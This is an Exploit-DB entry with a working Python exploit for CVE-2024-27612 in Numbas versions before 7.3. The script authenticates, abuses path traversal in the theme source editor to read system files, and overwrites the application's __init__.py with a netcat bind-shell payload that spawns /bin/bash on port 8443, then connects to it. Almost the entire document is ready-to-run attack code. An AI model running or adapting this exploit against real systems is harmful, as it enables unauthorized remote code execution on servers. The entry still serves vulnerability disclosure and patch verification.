Exploit-DB #51867
Description: Numbas < v7.3 - Remote Code Execution
Type: webapps
Platform: nodejs
Date: 2024-03-10
Author: Matheus Alexandre

Exploit:
# Exploit Title: Numbas < v7.3 - Remote Code Execution
# Google Dork: N/A
# Date: March 7th, 2024
# Exploit Author: Matheus Boschetti
# Vendor Homepage: https://www.numbas.org.uk/
# Software Link: https://github.com/numbas/Numbas
# Version: 7.2 and below
# Tested on: Linux
# CVE: CVE-2024-27612

import sys, requests, re, argparse, subprocess, time
from bs4 import BeautifulSoup

s = requests.session()

def getCSRF(target):
    url = f"http://{target}/"
    req = s.get(url)
    soup = BeautifulSoup(req.text, 'html.parser')
    csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']
    return csrfmiddlewaretoken

def createTheme(target):
    # Format request
    csrfmiddlewaretoken = getCSRF(target)
    theme = 'ExampleTheme'
    boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'
    data = (
        f'--{boundary}\r\n'
        'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'
        '\r\n'
        f'{csrfmiddlewaretoken}\r\n'
        f'--{boundary}\r\n'
        'Content-Disposition: form-data; name="name"\r\n'
        '\r\n'
        f'{theme}\r\n'
        f'--{boundary}--\r\n'
    )
    headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',
               'User-Agent': 'Mozilla/5.0',
               'Accept': '*/*',
               'Connection': 'close'}

    # Create theme and return its ID
    req = s.post(f"http://{target}/theme/new/", headers=headers, data=data)
    redir = req.url
    split = redir.split('/')
    id = split[4]
    print(f"\t[i] Theme created with ID {id}")
    return id

def login(target, user, passwd):
    print("\n[i] Attempting to login...")

    csrfmiddlewaretoken = getCSRF(target)
    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
            'username': user,
            'password': passwd,
            'next': '/'}
    
    # Login
    login = s.post(f"http://{target}/login/", data=data, allow_redirects=True)
    res = login.text
    if("Logged in as" not in res):
        print("\n\n[!] Login failed!")
        sys.exit(-1)

    # Check if logged and fetch ID
    usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res)
    if usermatch:
        user = usermatch.group(1)
        idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)
        if idmatch:
            id = idmatch.group(1)
            print(f"\t[+] Logged in as \"{user}\" with ID {id}")

def checkVuln(url):
    print("[i] Checking if target is vulnerable...")

    # Attempt to read files
    themeID = createTheme(url)
    target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."
    hname = s.get(f"{target}/etc/hostname")
    ver = s.get(f"{target}/etc/issue")
    hnamesoup = BeautifulSoup(hname.text, 'html.parser')
    versoup = BeautifulSoup(ver.text, 'html.parser')
    hostname = hnamesoup.find('textarea').get_text().strip()
    version = versoup.find('textarea').get_text().strip()
    if len(hostname) < 1:
        print("\n\n[!] Something went wrong - target might not be vulnerable.")
        sys.exit(-1)
    print(f"\n[+] Target \"{hostname}\" is vulnerable!")
    print(f"\t[i] Running: \"{version}\"")

    # Cleanup - delete theme
    print(f"\t\t[i] Cleanup: deleting theme {themeID}...")
    target = f"http://{url}/themes/{themeID}/delete"
    csrfmiddlewaretoken = getCSRF(url)
    data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}
    s.post(target, data=data)


def replaceInit(target):
    # Overwrite __init__.py with arbitrary code
    rport = '8443'
    payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"
    csrfmiddlewaretoken = getCSRF(target)
    filename = '../../../../numbas_editor/numbas/__init__.py'
    themeID = createTheme(target)
    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
            'source': payload,
            'filename': filename}

    print("[i] Delivering payload...")
    # Retry 5 times in case something goes wrong...
    for attempt in range(5):
        try:
            s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)
        except Exception as e:
            pass
    
    # Establish connection to bind shell
    time.sleep(2)
    print(f"\t[+] Payload delivered, establishing connection...\n")
    if ":" in target:
        split = target.split(":")
        ip = split[0]
    else:
        ip = str(target)
    subprocess.Popen(["nc", "-n", ip, rport])
    while True:
        pass


def main():
    parser = argparse.ArgumentParser()
    if len(sys.argv) <= 1:
        print("\n[!] No option provided!")
        print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")
        print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty")
        sys.exit(-1)

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')
    parser.add_argument('--target', help='Target IP:PORT')
    parser.add_argument('--user', help='Username to authenticate')
    parser.add_argument('--passwd', help='Password to authenticate')
    args = parser.parse_args()
    action = args.action
    target = args.target
    user = args.user
    passwd = args.passwd

    print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")
    
    if action == 'check':
        login(target, user, passwd)
        checkVuln(target)
    elif action == 'exploit':
        login(target, user, passwd)
        replaceInit(target)
    else:
        sys.exit(-1)


if __name__ == "__main__":
    main()